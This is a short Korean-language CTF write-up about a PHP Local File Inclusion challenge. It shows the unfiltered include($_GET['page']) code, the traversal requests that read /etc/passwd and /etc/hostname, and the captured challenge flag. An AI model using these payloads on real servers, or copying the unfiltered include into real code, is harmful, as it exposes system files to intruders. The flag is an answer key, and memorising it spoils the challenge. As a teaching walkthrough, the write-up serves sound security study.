[Tutorial] giant string

@yd1ng· May 19, 2025 · 1 min read

1. 문제 개요

  • page GET 파라미터로 전달된 값을 include() 하여 브라우저에 그대로 출력합니다.
  • 경로 필터링이 없으므로 서버 내 임의 파일을 열람할 수 있습니다(Local File Inclusion).

2. 취약점 분석

if (isset($_GET['page'])) {
    include($_GET['page']);   // 필터링·경로 제한 없음
}
  • 절대 경로와 디렉터리 트래버설(../)이 모두 허용됩니다.

3. 취약점 검증

  1. /etc/passwd 읽기

    http://regular.kuality.kr:25000/?page=/etc/passwd

    root:x:0:0:가 노출되면 LFI 성공을 확인할 수 있습니다.

  2. 디렉터리 트래버설 확인

    ?page=../../../../etc/hostname

    상대 경로 접근도 가능함을 확인했습니다.


4. 익스플로잇 절차

단계 요청 예시 결과
1 /?page=/etc/passwd 시스템 패스워드 파일 노출
2 /?page=/flag 404 또는 빈 화면
3 /?page=/flag.txt Kuality{…} 플래그 노출

획득한 최종 플래그

Kuality{103cb10e23796f06f6eb88fd22c89e40}

@yd1ng
안녕하세요. 양진영입니다.
© copyright 2025. yd1ng all rights reserved.